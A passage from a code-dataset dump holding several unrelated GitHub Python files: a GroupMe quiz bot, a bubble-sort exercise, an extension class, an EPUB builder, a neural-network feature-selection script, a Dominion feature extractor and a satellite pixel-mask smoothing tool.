self.group_id, \"table\" : [\"config\", \"allowrepost\"], \"data\" : [self.bot_name, self.group_id]}\n allowrepost = datahandler.do(\"selectone\", data)\n return allowrepost\n\n def _getauthenticatedusers(self):\n data = {\"name\" : self.bot_name, \"groupid\" : self.group_id, \"table\" : \"authenticate\", \"data\" : [self.bot_name, self.group_id]}\n users = datahandler.do(\"select\", data)\n return users\n\n def _init_config(self, groupid, bot_id, botname):\n self.bot_id = bot_id\n self.group_id = groupid\n self.bot_name = botname\n self.meme_source = self._getmemesource()\n self.real_len = len(self.meme_source) - 1\n self.allow_nsfw = self._getallownsfw()\n self.allow_reposts = self._getallowreposts()\n self.authenticatedUsers = self._getauthenticatedusers()\n groupmelogger.info(f\"\\n\\n\\nLOTS OF SPACE FOR CONFIG INITS\\n\\nTHESE ARE CONFIG VALUES-\\n\\nbot_id: {self.bot_id}\\nmeme_source: {self.meme_source}\\nallow_nsfw: {self.allow_nsfw}\\nallow_reposts: {self.allow_reposts}\\nbot_name: {self.bot_name}\\ngroup_id: {self.group_id}\\nauthenticatedUsers: {self.authenticatedUsers}\\n\\n\\nEND CONFIG VALUES\\n\\n\\n\")\n groupmelogger.info(\"Initialized config for group %s\" % (groupid))\n groupmelogger.info(f'Variables are -\\nbot_id : {self.bot_id}\\nlistening_port : {self.listening_port}\\nmeme_source : {self.meme_source}')\n\n def receive_message(self, message, attachments, groupid, sendertype, sender_name):\n groupmelogger.info(\"\\n\\n\\n\\n\\nreceived message from group: %s\\nself.bots: %s\\n\\n\\n\\n\" % (groupid, self.bots))\n conn = sqlite3.connect('config.db')\n c = conn.cursor()\n group = int(groupid)\n t = [(group)]\n groupmelogger.info(t)\n c.execute(\"UPDATE stats SET TotalMessages = TotalMessages + 1 WHERE (groupid=?)\", t)\n conn.commit()\n conn.close()\n message = message.strip()\n if sendertype != \"bot\":\n if self.awaiting_response == False:\n for type, regex, action in self.regex_actions:\n mes = regex.match(message)\n att = attachments\n gid = groupid\n for name, id, group in self.bots:\n if group == gid:\n groupmelogger.info(\"%s and id#%s matched group id#%s\" % (name, id, gid))\n bot_id = id\n gid = int(gid)\n botname = name\n self._init_config(gid, bot_id, botname)\n else:\n groupmelogger.info(\"%s and id#%s did not match group id#%s\" %(name, id, gid))\n if mes:\n groupmelogger.info(f'Received message with type:{type} and message:{mes}\\nfrom group:{gid} so bot {botname} should reply')\n if att:\n action(mes, att, gid, message, sender_name)\n else:\n att = []\n action(mes, att, gid, message, sender_name)\n elif self.awaiting_response == True:\n mes = \"none\"\n att = attachments\n gid = groupid\n self.quizzer(mes, att, gid, message, sender_name)\n else:\n self.send_message(\"Error - awaiting_response is broken, setting it to False in order to avoid an infinite loop\", 1)\n self.awaiting_response = False\n \n def send_likes(self, mes, att, gid, text, sender_name):\n conn = sqlite3.connect('config.db')\n c = conn.cursor()\n t = [(self.bot_name, self.bot_id, self.group_id)]\n c.executemany(\"UPDATE stats SET requests = requests + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n c.executemany(\"UPDATE stats SET responses = responses + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n conn.commit()\n conn.close()\n self.send_message(\"Unfortunately, %s, this is not currently working. Stay tuned!\" % (sender_name), 1)\n\n def send_info(self, mes, att, gid, text, sender_name):\n conn = sqlite3.connect('config.db')\n c = conn.cursor()\n t = [(self.bot_name, self.bot_id, self.group_id)]\n c.executemany(\"UPDATE stats SET requests = requests + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n c.executemany(\"UPDATE stats SET responses = responses + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n conn.commit()\n conn.close()\n x = QuizBotReturnStats(self.bot_name, self.group_id)\n self.send_message(x.response, 1)\n\n def send_rank(self, mes, att, gid, text, sender_name):\n conn = sqlite3.connect('config.db')\n c = conn.cursor()\n t = [(self.bot_name, self.bot_id, self.group_id)]\n c.executemany(\"UPDATE stats SET requests = requests + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n c.executemany(\"UPDATE stats SET responses = responses + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n conn.commit()\n conn.close()\n self.send_message(\"Unfortunately, %s, this is not currently working. Stay tuned!\" % (sender_name), 1)\n\n def opt(self, mes, att, gid, text, sender_name):\n conn = sqlite3.connect('config.db')\n c = conn.cursor()\n t = [(self.bot_name, self.bot_id, self.group_id)]\n c.executemany(\"UPDATE stats SET requests = requests + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n c.executemany(\"UPDATE stats SET responses = responses + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n conn.commit()\n conn.close()\n x = QuizBotOptIO(sender_name, text, self.group_id, self.bot_name, datahandler)\n self.send_message(x.response, 1)\n\n def quizzer(self, mes, att, gid, text, sender_name):\n if self.awaiting_response == False:\n conn = sqlite3.connect('config.db')\n c = conn.cursor()\n t = [(self.bot_name, self.bot_id, self.group_id)]\n c.executemany(\"UPDATE stats SET requests = requests + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n c.executemany(\"UPDATE stats SET responses = responses + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n conn.commit()\n conn.close()\n self.quizzerbot = QuizBotQuizzer(self.authenticatedUsers, sender_name, self.quizbonuses)\n self.quizzerbot.start_quiz(text)\n self.send_message(self.quizzerbot.response, 1)\n self.awaiting_response = self.quizzerbot.awaiting_response \n elif self.awaiting_response == True:\n conn = sqlite3.connect('config.db')\n c = conn.cursor()\n t = [(self.bot_name, self.bot_id, self.group_id)]\n c.executemany(\"UPDATE stats SET responses = responses + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n conn.commit()\n conn.close()\n self.quizzerbot.continue_quiz(text, sender_name)\n if self.quizzerbot.goodjob:\n self.send_message(self.quizzerbot.goodjob, 1)\n if self.quizzerbot.finishedQuiz == False and self.quizzerbot.correct == True:\n self.send_message(self.quizzerbot.response, 5)\n elif self.quizzerbot.finishedQuiz == True:\n self.send_message(\"Finished quiz! Generating results\", 1)\n self.send_message(self.quizzerbot.response, 1)\n elif self.quizzerbot.finishedQuiz != True and self.quizzerbot.finishedQuiz != False:\n groupmelogger.info(\"Finished quiz is broken, error\")\n self.awaiting_response = self.quizzerbot.awaiting_response\n\n def update_config(self, mes, att, gid, text, sender_name):\n x = QuizBotUpdateConfig(self.authenticatedUsers, text, self.bot_name, self.group_id, sender_name, datahandler)\n self.send_message(x.response, 1)\n \n def send_meme(self, mes, att, gid, text, sender_name):\n conn = sqlite3.connect('config.db')\n c = conn.cursor()\n t = [(self.bot_name, self.bot_id, self.group_id)]\n c.executemany(\"UPDATE stats SET requests = requests + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n c.executemany(\"UPDATE stats SET responses = responses + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n conn.commit()\n conn.close()\n if self.useReddit == True:\n x = QuizBotSendRedditMeme(self.meme_source, self.real_len)\n elif self.useReddit == False:\n x = QuizBotSendInstaMeme(self.meme_source, self.real_len)\n self.send_media(x.response, x.media, 1)\n\n def send_help(self, mes, att, gid, text, sender_name):\n conn = sqlite3.connect('config.db')\n c = conn.cursor()\n t = [(self.bot_name, self.bot_id, self.group_id)]\n c.executemany(\"UPDATE stats SET requests = requests + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n c.executemany(\"UPDATE stats SET responses = responses + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n conn.commit()\n conn.close()\n x = QuizBotHelp(text)\n self.send_message(x.response, 1)\n\n def hack_joke(self, mes, att, type, text, sender_name):\n conn = sqlite3.connect('config.db')\n c = conn.cursor()\n t = [(self.bot_name, self.bot_id, self.group_id)]\n c.executemany(\"UPDATE stats SET requests = requests + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n c.executemany(\"UPDATE stats SET responses = responses + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n conn.commit()\n conn.close()\n x = QuizBotHackingJoke(self.group_id, text, sender_name)\n self.send_message(x.response, 1)\n \n def fred_function(self, mes, att, type, text, sender_name):\n conn = sqlite3.connect('config.db')\n c = conn.cursor()\n t = [(self.bot_name, self.bot_id, self.group_id)]\n c.executemany(\"UPDATE stats SET requests = requests + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n c.executemany(\"UPDATE stats SET responses = responses + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n c.executemany(\"UPDATE stats SET FredResponses = FredResponses + 1 WHERE (name=? AND botid=? AND groupid=?)\", t)\n conn.commit()\n conn.close()\n x = QuizBotFunSayings(sender_name)\n self.send_message(x.response, 1)\n\n def newsroom_selection(self, mes, att, type, text, sender_name):\n self.send_message(\"Selecting people for newsroom...\", 1)\n for person in self.newsroom_people:\n self.send_message(person, 3)\n self.send_message(\"Finished!\\nHave fun!\\n(if you have any questions ask Colin)\", 1)\n\n def send_message(self, message, t):\n data = {\"bot_id\": self.bot_id, \"text\": str(message)}\n time.sleep(t)\n requests.post(self.groupme_url, json=data)\n groupmelogger.info(f\"Just sent a message-\\n{message}\\n\")\n\n def send_media(self, message, media, t):\n data = {\"bot_id\": self.bot_id, \"text\": str(message), \"image_url\": media}\n time.sleep(t)\n requests.post(self.groupme_url, json=data)\n groupmelogger.info(f\"Just sent a message-\\n{message}\\n\")\n\n# init bot\ndef init(bot_id=0):\n global bot\n bot = QuizBotGroupMe(bot_id=bot_id)\n return bot\n\n\n# listen and send all messages to the message router\ndef listen(server_class=HTTPServer, handler_class=GroupMeMessageRouter, port=80):\n server_address = ('', port)\n httpd = server_class(server_address, handler_class)\n httpd.serve_forever()","repo_name":"colindaugherty/quizbot","sub_path":"quizbot/QuizBotGroupMe.py","file_name":"QuizBotGroupMe.py","file_ext":"py","file_size_in_byte":20264,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"8604743190","text":"lista1 = ['Este','texto','no','concuerda','por','que','esta','mal']\r\n#En la línea 3 va la ruta o el archivo de texto. \r\narchivo = open(\"texto.txt\")\r\nlista2 = archivo.read().split(' ')\r\n\r\ndef bubbleString(array,array2):\r\n length = len(array) - 1 \r\n\r\n #Recorre\r\n for i in range(0, length):\r\n #print(f\"pasada #{i + 1}\")\r\n #Compara\r\n for j in range(0, length):\r\n #print(f\"comparacion: {array[j]} > { array[j+1] }\")\r\n if array[j] == array2[j]:\r\n aux = array2[j]\r\n array2[j] = array2[j+1]\r\n array2[j+1] = aux\r\n return array\r\n \r\n \r\nprint(\"Antes de ordenar:\")\r\nprint(lista2)\r\nprint(\"Despues de ordenar\") \r\nprint(bubbleString(lista1, lista2))","repo_name":"maximoXc/U1E1Python","sub_path":"leer.py","file_name":"leer.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1475852957","text":"from typing import Optional, Callable\n\nfrom config import Config, get_app_config\nfrom django.utils.translation import gettext_lazy as _\nfrom common.serializer import ExtensionBaseSerializer\n\n\nclass InMemExtension:\n\n name: Optional[str] = None\n description: Optional[str] = None\n version: Optional[str] = None\n homepage: Optional[str] = None\n logo: Optional[str] = None\n maintainer: Optional[str] = None\n tags: Optional[str] = None\n type: Optional[str] = None\n\n scope: Optional[str] = None\n\n on_start: Optional[Callable] = None\n serializer: ExtensionBaseSerializer = None\n\n def __init__(self, *args, **kwargs) -> None:\n if self.scope is None:\n self.scope = kwargs.get('scope', 'global')\n\n if self.name is None:\n self.name = kwargs.get('name', None)\n\n if self.version is None:\n self.version = kwargs.get('version', None)\n\n if self.description is None:\n self.description = kwargs.get('description', None)\n\n if self.homepage is None:\n self.homepage = kwargs.get('homepage', None)\n\n if self.logo is None:\n self.logo = kwargs.get('logo', None)\n\n if self.maintainer is None:\n self.maintainer = kwargs.get('maintainer', None)\n\n if self.on_start is None:\n self.on_start = kwargs.get('on_start', None)\n\n if self.tags is None:\n self.tags = kwargs.get('tags', None)\n\n if self.type is None:\n self.type = kwargs.get('type', None)\n\n serializer = kwargs.get('serializer', None)\n if serializer is not None:\n self.serializer = serializer\n else:\n self.serializer = ExtensionBaseSerializer\n\n def __str__(self) -> str:\n return f'Extension: {self.name}'\n\n def __repr__(self) -> str:\n return f'Extension: {self.name}'\n\n def start(self, runtime) -> None:\n if self.on_start is not None:\n self.on_start(runtime)\n\n def config(self, key, default=None) -> any:\n app_config: Config = get_app_config()\n value = app_config.extension.config.get(self.name, None)\n if value is None:\n return None\n\n value = value.get(key, default)\n return value\n\n def teardown(self, runtime) -> None:\n pass\n\n def setup(self, runtime) -> None:\n pass\n\n def register(self, service_name):\n pass\n","repo_name":"0079123/arkid","sub_path":"common/extension.py","file_name":"extension.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"26643156888","text":"from pathlib import Path\nfrom subprocess import check_call\n\nimport mkepub\nfrom mkepub.mkepub import Book, Page\n\n\nfrom .constants import EPUB_AUTHOR, EPUB_FILE, EPUB_TITLE, OUTPUT_TMP, TITLE_REGEXP\n\n\ndef add_page(book: Book, path: Path, parent: Page | None = None) -> Page:\n html = path.read_text()\n title = extract_title(html)\n return book.add_page(title=title, content=html, parent=parent)\n\n\ndef extract_title(html: str) -> str:\n return TITLE_REGEXP.findall(html)[0]\n\n\ndef make_it() -> None:\n book = mkepub.Book(title=EPUB_TITLE, author=EPUB_AUTHOR)\n\n with Path(\"cover.jpg\").open(mode=\"rb\") as fh:\n book.set_cover(fh.read())\n\n files = sorted(OUTPUT_TMP.glob(\"**/*.html\"), key=lambda p: Path(p).stem)\n\n # Create the top-level chapters\n top_files = list(filter(lambda file: file.stem.endswith(\"index\"), files))\n top_levels = {file.parent: add_page(book, file) for file in top_files}\n\n # Append pages to chapters\n print()\n for page in files:\n if page in top_files:\n continue\n assert not page.stem.endswith(\"index\")\n parent = top_levels[page.parent]\n add_page(book, page, parent=parent)\n\n EPUB_FILE.parent.mkdir(exist_ok=True)\n book.save(EPUB_FILE)\n\n # Check\n check_call([\"epubcheck\", str(EPUB_FILE)])\n","repo_name":"BoboTiG/cairo-docs-epub","sub_path":"src/epub.py","file_name":"epub.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"23022820212","text":"\nimport os # NOQA\nimport sys # NOQA\nsys.path.insert(0, os.path.abspath('..')) # NOQA\n\nfrom rmi.pca import pca\nimport rmi.examples.lennardjones as lj\nimport rmi.features as f\nimport rmi.estimation as inf\nimport rmi.neuralnets as nn\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom tqdm import tqdm, trange\nimport argparse\n\n\nclass args:\n range = 19\n n_neurons = 800\n N_train = 5000\n batchsize = 5000\n eta = 0.0002\n output = \"none\"\n\n\n# Read the command line arguments\nparser = argparse.ArgumentParser(\n description=\"Example implementation of Regularized Mutual Information Feature Selector on a solid drop.\",\n epilog=\"Results will be saved in files with the OUTPUT tag in the 'outputs/' folder.\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\nparser.add_argument(\"-range\", type=int, default=args.range,\n help=\"Subset of samples to consider (in our code, [0,20) )\")\nparser.add_argument(\"-n_neurons\", type=int, default=args.n_neurons,\n help=\"Number of neurons of the neural network\")\nparser.add_argument(\"-N_train\", type=int, default=args.N_train,\n help=\"Number of training steps\")\nparser.add_argument(\"-batchsize\", type=int, default=args.batchsize,\n help=\"Samples in each batch\")\nparser.add_argument(\"-eta\", type=float, default=args.eta,\n help=\"Learning rate of the Adam algorithm to train the neural network\")\nparser.add_argument(\"-output\", default=args.output,\n help=\"String to append to the output\")\n\ntry:\n args = parser.parse_args()\nexcept SystemExit as e:\n print(\"Running from interactive session. Loading default parameters\")\n\n\nlabel = \"liquid-drop-60-final\"\n\nn_linsp = np.linspace(0.1, 0.8, 20)\nsamples, water, interactions = lj.load_dataset(label, n_linsp[args.range])\n\nN_samples = len(samples)\nn_in = np.shape(samples)[1]\nprint(\"Training dataset: %d samples\" % N_samples)\n\n\nN_out = 2\n\nbatchsize = args.batchsize\nN_batches = int(N_samples/batchsize)-1\n\neta = args.eta\n\nif args.output != \"none\":\n path = \"../models/liquid-drop_ae_\"+args.output\nelse:\n path = None\n\nH_binsize = 100\nH_kernel_size = 2\nn_out = 2\n\n\ndef get_batch(batchsize):\n random_indices = np.random.choice(np.arange(N_samples), size=batchsize)\n return samples[random_indices], None, random_indices\n\n\nencoder = nn.RMIOptimizer(H_binsize,\n H_kernel_size, layers=[\n nn.K.layers.Dense(args.n_neurons, activation=\"relu\",\n input_shape=(n_in,)),\n nn.K.layers.Dense(n_out)\n ])\n\ndecoder = nn.K.Sequential(layers=[\n nn.K.layers.Dense(args.n_neurons, activation=\"relu\",\n input_shape=(n_out,)),\n nn.K.layers.Dense(n_in)\n])\n\nautoencoder = nn.Supervised(cost=\"mse_contract\", layers=[encoder, decoder])\nautoencoder.compile(optimizer=nn.tf.optimizers.RMSprop(eta))\n\nae_net = nn.Net(autoencoder,\n mode=\"w\",\n path=path)\nenc_net = nn.Net(encoder)\n\n\nae_net.fit_generator(lambda: get_batch(args.batchsize)[0], int(args.N_train), force_training=True)\nae_net.plot_history(save_file=\"../logs/\"+args.output+\".pdf\")\n\nfeature_ae = enc_net.get_feature_and_grad(samples)\nlj.plot_pars_feature(feature_ae[0], water.deltaR, water.theta, save_path=\"../logs/liquid_drop_ae_\"+args.output+\"_pf.png\")\nlj.plot_feature_pars(feature_ae[0], water.deltaR, water.theta, save_path=\"../logs/liquid_drop_ae_\"+args.output+\"_fp.png\")\nlj.plot_feature_hists(feature_ae[0], save_path=\"../logs/liquid_drop_ae_\"+args.output+\"_hist.png\")\n","repo_name":"lsarra/rmi","sub_path":"scripts/run_liquiddrop_ae.py","file_name":"run_liquiddrop_ae.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"32"} +{"seq_id":"18904736963","text":"import cardUtils\n\n\n# Dominion Feature Extractor\n#deck, hand, drawPile, discardPile, phase, turn = state\ndef computeHandValue(hand):\n handValue = 0\n for cardID in hand:\n card = cardUtils.getCardFromID(cardID)\n if card.cardType == \"treasure\":\n handValue += card.treasureValue\n return handValue\n \ndef tdDominionFeatureExtractor(state):\n deck, hand, drawPile, discardPile, phase, turn = state\n features = []\n \n handValue = computeHandValue(hand)\n features.append((\"handValue\" + str(handValue), 1))\n \n vPoints = deck[3] + 3 * deck[4] + 6 * deck[5]\n features.append((\"vPoints\"+ str(vPoints), 1))\n \n for cardID in deck:\n features.append((\"numOfCardsInDeckOfType\" + str(cardID) + \"=\" + str(deck[cardID]), 1)) \n return features\n \ndef qDominionFeatureExtractor(state, action):\n deck, hand, drawPile, discardPile, phase, turn = state\n features = [] \n return features\n ","repo_name":"njabswalsh/Dominion","sub_path":"featureExtractor.py","file_name":"featureExtractor.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43901438127","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nSmooths channel 8 pixel quality mask.\n\"\"\"\n\nfrom __future__ import print_function, division\n\nimport numpy as np \nimport h5py\nimport matplotlib.pyplot as plt\nimport logging\n\nfrom pixelquality import create_figure_dset, create_mask_dset\nfrom mask import Mask\n\n#-- globals --------------------------------------------------------------------\n\ninput_mask_fname = \"sdmf_pyxelmask.h5\"\n\n#-- functions ------------------------------------------------------------------\n\ndef smooth(orbits, data, winsize=50):\n \"\"\"\n Smooths multiple pixels over time, using specified window. \n Missing orbits are not taken into account: \n f.e. orbit 1000 can be orbit 2000's neighbor when the range inbetween is missing.\n\n Parameters\n ----------\n\n orbits : 1d numpy array, int\n array of orbits, every entry corresponds to one row in `data' (not used yet)\n data : 2d array, shape (orbits,pixels), dtype flexible\n any type of data: bool, int or float \n winsize : int, optional\n smoothing window size in number of orbits\n\n Returns\n -------\n\n smoothed version of `data'. same dimensions, dtype float. \n \"\"\"\n\n smoothed = np.empty(data.shape, dtype=np.float64)\n num_orbits = data.shape[0]\n #print(num_orbits)\n\n #\n # sort data rows on orbit number\n #\n\n idx = np.argsort(orbits)\n #print(\"sorted orbits\", orbits[idx])\n #print(\"raw data\", data)\n data = data[idx,:]\n #print(\"indexed data\", data)\n\n for i_orbit in range(num_orbits):\n upper = i_orbit + winsize/2\n lower = i_orbit - winsize/2\n if upper > num_orbits:\n upper = num_orbits\n if lower < 0:\n lower = 0\n window = np.arange(lower, upper, dtype=np.int)\n #print(window)\n smoothed[i_orbit, :] = np.mean(data[window,:], axis=0)\n\n return smoothed\n\ndef plot(orbits_f, flt, orbits_b, bin, pixnr):\n plt.cla()\n# fig = plt.figure()\n fig = plt.subplot(111)\n fig.set_ylim([-.1,1.1])\n fig.set_title(\"pixel \"+str(pixnr))\n\n print(np.min(orbits_f), np.max(orbits_f), np.min(orbits_b), np.max(orbits_b))\n s_bin = smooth(orbits_b, bin)\n bin_slice = (1.0 - bin[:,pixnr].flatten())\n sbin_slice = (1.0 - s_bin[:,pixnr].flatten())\n ax = np.arange(bin_slice.size)\n# plt.plot(ax, bin_slice, 'ro', ax, sbin_slice, 'r-')\n plt.plot(orbits_b, bin_slice, 'r-')\n\n s_flt = smooth(orbits_f, flt)\n flt_slice = flt[:,pixnr].flatten()\n sflt_slice = s_flt[:,pixnr].flatten()\n ma = np.max(flt_slice)\n if ma > 0:\n flt_slice /= ma\n sflt_slice /= ma\n ax = np.arange(flt_slice.size)\n plt.plot(orbits_f, flt_slice, 'bo', orbits_f, sflt_slice, 'g-')\n\n plt.show()\n return\n\ndef load_sdmf32_figure(start_orbit, end_orbit, fig_name):\n \"\"\"\n Load sdmf (orbital) pixelmask figure from database.\n\n Parameters\n ----------\n\n start_orbit : int\n start orbit\n end_orbit : int\n end orbit\n fig_name : str\n figure name\n\n Returns\n -------\n\n orbits32 : array, dtype='u2'\n orbit list \n a : array, dtype=float\n figure data\n \"\"\"\n fname = input_mask_fname\n fid = h5py.File(fname, \"r\")\n ds_orbits = fid[\"orbits\"]\n orbits = ds_orbits[:]\n\n idx = np.argsort(orbits[(orbits >= start_orbit) & (orbits <= end_orbit)])\n #print(idx)\n\n orbits32 = orbits[(orbits >= start_orbit) & (orbits <= end_orbit)][idx]\n #print(\"orbits32\", orbits32)\n\n orbit_range = end_orbit - start_orbit + 1\n ds_combi = fid[fig_name]\n num_orbits = idx.size\n a = np.empty((num_orbits,1024), dtype=np.float)\n i_row = 0\n for orbit in orbits32:\n i_orbit = np.where(orbit == ds_orbits[:])[0][0]\n #print(ds_combi.dtype)\n if ds_combi.dtype != np.bool:\n a[i_row,:] = np.nan_to_num(ds_combi[i_orbit,:])\n else:\n a[i_row,:] = ds_combi[i_orbit,:]\n i_row += 1\n\n #print(\"i_orbit\", i_orbit, \"row\", a[i_row,:])\n fid.close()\n return orbits32, a \n\ndef compare_smoothmasks():\n fname = input_mask_fname #\"sdmf_pyxelmask.h5\"\n fid = h5py.File(fname, \"r\")\n ds_orbits = fid[\"orbits\"]\n idx = np.argsort(ds_orbits[:])\n orbits32 = ds_orbits[:][idx]\n start_orbit = np.min(orbits32)\n stop_orbit = np.max(orbits32)\n orbit_range = stop_orbit - start_orbit + 1\n #print(idx)\n ds_combi = fid[\"combined\"]\n num_orbits = idx.size\n a = np.empty((num_orbits,1024), dtype=np.float)\n for i_orbit in range(num_orbits):\n id_ = idx[i_orbit]\n orbit = orbits32[i_orbit]\n# a[orbit-start_orbit,:] = ds_combi[id_,:]\n a[i_orbit,:] = ds_combi[id_,:]\n fid.close()\n print(\"3.2 read\")\n\n # print(a.shape)\n # plt.cla()\n # plt.imshow(a)\n # plt.show()\n\n # fname_out = \"orbital_dbqm.h5\"\n # fid_out = h5py.File(fname_out, \"w\")\n # ds = fid_out.create_dataset(\"data\", a.shape, dtype=np.float)\n # ds[:,:] = a\n # fid_out.close()\n # np.savetxt(\"orbital_dbqm.csv\", a, delimiter=\",\")\n\n m = Mask()\n a_binary = np.ones((1400,1024), dtype=np.bool)\n i_orbit = 0\n orbits30 = np.empty(1400, dtype=np.int)\n for orbit in range(42000,43400):\n #print(orbit)\n try:\n m.load_sdmf30_crit(orbit, \"combined\", smooth=True)\n except:\n continue\n orbits30[i_orbit] = orbit\n a_binary[i_orbit,:] = m.mask\n i_orbit += 1\n print(\"3.0 read\")\n\n orbits30 = orbits30[0:i_orbit]\n a_binary = a_binary[0:i_orbit,:]\n\n for pixnr in range(1024):\n plot(orbits32, a, orbits30, a_binary, pixnr)\n\n return\n\n#-- main -----------------------------------------------------------------------\n\nif __name__ == \"__main__\":\n import argparse\n import warnings\n from datetime import datetime\n warnings.simplefilter(\"error\") # warnings to errors\n from os.path import basename, isfile\n from envisat import parseOrbitList\n\n np.set_printoptions(threshold=np.nan, precision=4, suppress=True, linewidth=np.nan)\n num_pixels = 1024\n\n #\n # parse command line arguments\n #\n\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument('-i', '--input', dest='input_fname', type=str, help=\"input (orbital) mask file name\")\n parser.add_argument('--log', dest='loglevel', type=str, \n choices=(\"DEBUG\", \"INFO\", \"WARN\", \"ERROR\", \"FATAL\"), \n default=\"INFO\", help=\"logging level\")\n parser.add_argument('-o', '--output', dest='output_fname', type=str, \n help=\"output file name\")\n parser.add_argument('-c', action='store_true', dest=\"sdmf30_compat\", help=\"sdmf3.0 compatibility\")\n parser.add_argument('--config', dest='config_file', type=file, \n default='default3.2.cfg')\n parser.add_argument('-v', '--verbose', dest='verbose', \n action='store_true')\n parser.add_argument('-V', '--version', action='version', \n version='%(prog)s 0.1')\n parser.add_argument('-P', '--path', dest='path')\n parser.add_argument('--plot', action='store_true')\n parser.add_argument('--orbitrange', default='all', \n help='sets orbit range f.e. \"43000-44000\", \"all\"', type=parseOrbitList)\n parser.add_argument('-p', '--pixnr', action='store', type=int, default=None,\n dest='pixnr', help=\"pixel number to be examined [0..1023]\")\n args = parser.parse_args()\n\n #\n # set defaults\n #\n\n start_orbit = 4152\n end_orbit = 53000\n output_fname = \"sdmf_smooth_pyxelmask.h5\"\n\n #\n # handle command line arguments\n #\n\n sdmf30_compat = args.sdmf30_compat\n verbose = args.verbose\n orbitrange = args.orbitrange\n if orbitrange is not None:\n start_orbit = orbitrange[0]\n end_orbit = orbitrange[1]\n if args.input_fname is not None:\n input_mask_fname = args.input_fname\n if args.output_fname is not None:\n output_fname = args.output_fname\n\n print(\"output_fname =\", output_fname)\n print(\"input_mask_fname =\", input_mask_fname)\n print(\"sdmf30_compat =\", sdmf30_compat)\n print(\"orbitrange =\", start_orbit, end_orbit)\n\n #\n # setup log level\n #\n\n numeric_level = getattr(logging, args.loglevel.upper(), None)\n if not isinstance(numeric_level, int):\n raise ValueError('Invalid log level: %s' % loglevel)\n\n #\n # create log with name with form generate_pyxelmask_YY-MMM-DD_N.log \n #\n\n timestamp = datetime.now().strftime(\"%Y-%m-%d\")\n i = 0\n while True:\n postfix = \"_\"+str(i) if i>0 else \"\"\n logname = basename(__file__)+\"_\"+timestamp+postfix+\".log\"\n if not isfile(logname):\n break\n i += 1\n\n #\n # open log\n #\n\n logging.basicConfig(filename=logname, level=numeric_level)\n\n #\n # load all pixel quality data, figure by figure\n #\n\n orbits, inv_data = load_sdmf32_figure(start_orbit, end_orbit, \"invalid\")\n print(\"read invalid\")\n orbits, sat_data = load_sdmf32_figure(start_orbit, end_orbit, \"saturation\")\n print(\"read saturation\")\n orbits, sun_data = load_sdmf32_figure(start_orbit, end_orbit, \"sunResponse\")\n print(\"read sunResponse\")\n orbits, wls_data = load_sdmf32_figure(start_orbit, end_orbit, \"wlsResponse\")\n print(\"read wlsResponse\")\n\n if sdmf30_compat:\n orbits, chi_data = load_sdmf32_figure(start_orbit, end_orbit, \"chisquare3.0\")\n print(\"read chisquare3.0 (SDMF3.0 compatibility)\")\n orbits, noise_data = load_sdmf32_figure(start_orbit, end_orbit, \"noise\")\n print(\"read noise (SDMF3.0 compatibility)\")\n else:\n orbits, darkerr_data = load_sdmf32_figure(start_orbit, end_orbit, \"darkError\")\n print(\"read darkError\")\n orbits, darkres_data = load_sdmf32_figure(start_orbit, end_orbit, \"darkResidual\")\n print(\"read darkResidual\")\n\n num_orbits = orbits.size\n print(\"orbits.size\", orbits.size, \"inv_data.shape\", inv_data.shape)\n\n #\n # smooth the figures\n #\n\n print(\"smoothing..\")\n inv_smooth = 1.0 - smooth(orbits, inv_data) # input was boolean flags (1: bad, 0: good).. so inverted\n sat_smooth = smooth(orbits, sat_data)\n sun_smooth = smooth(orbits, sun_data, winsize=100)\n wls_smooth = smooth(orbits, wls_data, winsize=500)\n if sdmf30_compat:\n chi_smooth = smooth(orbits, chi_data)\n noise_smooth = smooth(orbits, noise_data)\n else:\n darkerr_smooth = smooth(orbits, darkerr_data)\n darkres_smooth = smooth(orbits, darkres_data)\n print(\"smoothed.\")\n\n #\n # combine smoothed figures\n #\n\n print(\"combining smoothed figures..\")\n \n combined = np.empty(sat_data.shape, dtype=np.float64)\n\n if sdmf30_compat:\n combined = inv_smooth * chi_smooth * (noise_smooth*noise_smooth) * sat_smooth * sun_smooth * wls_smooth\n else:\n # TODO: use weights from config file\n combined = inv_smooth * (0.5*darkerr_smooth + 0.5*darkres_smooth) * sat_smooth * sun_smooth * wls_smooth\n\n combined_flag = np.nan_to_num(combined) < 0.1\n\n print(\"combined.\")\n\n #\n # write smooth and combined data\n #\n\n print(\"writing hdf5..\")\n\n fid = h5py.File(output_fname, \"w\")\n 